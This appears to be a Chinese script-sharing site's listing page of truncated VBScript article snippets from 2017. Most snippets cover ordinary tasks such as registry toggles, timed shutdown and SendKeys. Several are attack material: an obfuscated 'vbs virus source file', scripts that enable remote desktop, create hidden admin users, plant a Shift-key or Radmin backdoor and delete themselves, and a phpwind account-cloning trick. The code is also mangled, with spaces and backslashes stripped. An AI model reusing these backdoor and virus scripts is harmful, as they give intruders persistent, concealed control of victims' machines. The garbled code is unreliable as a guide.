一个用vbs查找硬盘所有分区中的指定程序的代码

2017年02月06日 140 阅读

OnErrorResumeNext"忽略所有错误 Dimfilename"声明变量 Dimre Setre=NewRegExp"建立正则表达式对象实例 re.Pattern="^（[a-z]|[A-Z]）+:\w+.vbs$" Ifre.Test（WScript.ScriptFullName）=FalseThen MsgBox"请在磁盘根目录下运行本程序，否则搜索结果可能会不正确！",,"MessageBox" WScript.Quit EndIf re....

用vbs操作注册表实例代码

2017年02月06日 164 阅读

打开或关闭CMD： DimWSHShell,r,m,v,t,g Dimi OnErrorResumeNext SetWSHShell=WScript.CreateObject（"WScript.Shell"） v="HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowssystemDisableCMD" i="REG_DWORD" t="命令提示窗口开关" r=WSHShell.RegRead（v） g=1 If...

用VBS来代替BAT或CMD文件进行命令第1/2页

2017年02月06日 148 阅读

自动导入注册表的，带检测： OnErrorResumeNext dimmsg,fso,shell Setfso=Wscript.createｏｂｊｅｃｔ（"scripting.filesystemｏｂｊｅｃｔ"） setwshshell=wscript.CreateObject（"wscript.shell"） setshell=wscript.createｏｂｊｅｃｔ（"wscript.shell"） IF（fso.FileExists（"e:劲乐团 e...

禁止QQ上网的vbs脚本代码

2017年02月06日 134 阅读

dimbag,pipe,honker,good do good="." setbag=getobject（"winmgmts:\"&good&" ootcimv2"） setpipe=bag.execquery（"select*fromwin32_processwherename="QQ.exe""） foreachiinpipe i.terminate（） next wscript.sleep1 loop...

用vbs实现注册表开关的脚本

2017年02月06日 131 阅读

DimWSHShell,r,M,v,t,g,i OnErrorResumeNext SetWSHShell=WScript.CreateObject（"WScript.Shell"） v="HKCUSoftwareMicrosoftWindowsCurrentVersion PoliciesSystemDisableRegistryTools" i="REG_DWORD" t="注册表开关" r=WSHShell.RegRead（v） g=1 If（r=1...

用vbs实现解除注册表CMD、Regedit、Taskmgr限制的脚本代码

2017年02月06日 132 阅读

OnErrorResumeNext SetWSHShell=WScript.CreateObject（"WScript.Shell"） WithWScript.CreateObject（"WScript.Shell"） .RegDelete"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools" .RegDelete"HKCUSoftwarePolicies...

自己写的一个定时关机或重启的vbs脚本

2017年02月06日 135 阅读

dimActionID ActionID=1"0注销，1关机，2重启, ActionTime="2006-1-413:42:30""关机或重启时间 functionShutDown（） dimobjShell SetobjShell=WScript.CreateObject（"Wscript.Shell"） dimApplication setApplication=CreateObject（"Shell.Application.1"） Applicati...

关于phpwind克隆用户的方法

2017年02月06日 151 阅读

作者：lcx 来源：vbs小铺 首先将字符集中的174转一下,wscript.echo"%"&CStr（Hex（ascb（chrb（174））））,url编码的结果为%AE。当然你用别的字符集里（129-255）的也可以，我用的是174。然后用achilles（安焦有下），修改post数据,在用户名后加上%AE提交即可。你用别的即时提交工具，好比minibrowse也是可以的，这样可以防止注册码的问题． ...

vbs中的LoadPicture函数示例

2017年02月06日 144 阅读

示例： LoadPicture函数 选择图片Sub GetPicInfor（） dim objpic,iWidth,iHeightdim pictype,picpathpicpath=document.frm.pic.valueset objpic=Loadpicture（picpath）iWidth = round（objpic.width / 26.4583） "26.4583是像素值 iHeight = round（objpic.height / 2...

vbs循环产生的参数的传递问题

2017年02月06日 177 阅读

SetobjFSO=CreateObject（"Scripting.FileSystemObject"） SetobjFile=objFSO.OpenTextFile（"d:1.txt",1） setWshShell=WScript.CreateObject（"WScript.Shell"） strFolder="d:1" DoUntilobjFile.AtEndOfStream strLine=objFile.ReadLine filename=strL...

vbs病毒源文件

2017年02月06日 143 阅读

remvbs.rhl Dimfs,r,ss,w,reg,regpath,dvbs ddd="Setfs="&chr（67）&"reate"&"Obj"&chr（101）&"c"&chr（116）&chr（40）&chr（34）&"Scrip"&chr（116）&"ing.File"&chr（83）&"yste"&chr（109）&chr（79）&"bject"&chr（34）&chr（41） Executeddd rrr="setr="&chr（119）&...

海阳顶端网进百度blog必须输入密码的vbscript代码

2017年02月06日 145 阅读

要看懂下面的代码，需要了解下面的函数vbscript strreverse函数 返回字符串，此字符串与指定字符串顺序相反。 strreverse（string1） string1参数是要进行字符反向的字符串。如果string1是零长度字符串（""），则返回零长度字符串。如果string1为null，则会出现错误。 说明 下面的示例利用strreverse函数返回按相反顺序排列的字符串： dimmystr mystr=strreverse（"vbscript...

关于脚本调用外部对像和类型库

2017年02月06日 147 阅读

先举个例子，最近的flash网马调用: varFlashver=（newActiveXObject（"ShockwaveFlash.ShockwaveFlash.9"））.GetVariable（"$version"）.split（","）; 这个ShockwaveFlash.ShockwaveFlash.9从何而来，用exescope打开flash9f.ocx选择typelib，即可看到ShockwaveFlash.ShockwaveFlash.9对像的...

学习 WSH 的理由小结

2017年02月06日 176 阅读

关于这个过程，可以参考我的另一篇文章《没有电脑的日子》之东搞搞西搞搞--搞中。 很多还不懂怎么学习编程的人问应该学什么语言？都会和他说：先提高境界，再学习技能；先了解自己的兴趣或者以后想做的事，才选择语言。如果学校教C和Java，您就只在这两个里选择，那么很抱歉，我只能说您是一坨屎！选择了语言，很大程度上就选择了开发方式，也就选择了相应的工作，那么这个相应的工作是不是您真正喜欢的？本末倒置的事常常发生在学生身上，习以为常了，大家就不知道应该先选择自己的...

vbscript sendkeys实例代码大全

2017年02月06日 164 阅读

其使用格式为：object.SendKeysstring “object”：表示WshShell对象 “string”：表示要发送的按键指令字符串，需要放在英文双引号中。 1.基本键 一般来说，要发送的按键指令都可以直接用该按键字符本身来表示，例如要发送字母“x”，使用“WshShell.SendKeys"x"”即可。当然，也可直接发送多个按键指令，只需要将按键字符按顺序排列在一起即可，例如，要发送按键“happy”，可以使用“WshShell.Sen...

xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本vbs

2017年02月06日 141 阅读

复制代码 代码如下:onerrorresumenext constHKEY_LOCAL_MACHINE=&H80000002 strComputer="." SetStdOut=WScript.StdOut SetoReg=GetObject（"winmgmts:{impersonationLevel=impersonate}！\"&_ strComputer&" ootdefault:StdRegProv"） strKeyPath="SYSTEMCurr...

Vbs脚本实现radmin终极后门代码_删除自身

2017年02月06日 193 阅读

复制代码 代码如下:onerrorresumenext constHKEY_LOCAL_MACHINE=&H80000002 strComputer="." SetStdOut=WScript.StdOut SetoReg=GetObject（"winmgmts:{impersonationLevel=impersonate}！\"&_ strComputer&" ootdefault:StdRegProv"） strKeyPath="SYSTEMRAdm...

vbs实现恢复暂停的自动启动服务的脚本

2017年02月06日 164 阅读

strComputer="." SetobjWMIService=GetObject（"winmgmts:"_ &"{impersonationLevel=impersonate}！\"&strComputer&" ootcimv2"） SetcolListOfServices=objWMIService.ExecQuery_ （"Select*fromWin32_ServiceWhereState="Paused"andStartMode="Auto""...

vbs删除注册表项的代码

2017年02月06日 137 阅读

WScript.Echo"EnablingKerberosLogging..." constHKEY_LOCAL_MACHINE=&H80000002 strComputer="." SetoReg=GetObject（"winmgmts:{impersonationLevel=impersonate}！\"&_ strComputer&" ootdefault:StdRegProv"） strKeyPath="SOFTWARE999" strDWORDV...

用vbs检查注册表项的访问权限的代码

2017年02月06日 140 阅读

constKEY_QUERY_VALUE=&H0001 constKEY_SET_VALUE=&H0002 constKEY_CREATE_SUB_KEY=&H0004 constDELETE=&H00010000 constHKEY_LOCAL_MACHINE=&H80000002 strComputer="." SetStdOut=WScript.StdOut SetoReg=GetObject（"winmgmts:{impersonationLeve...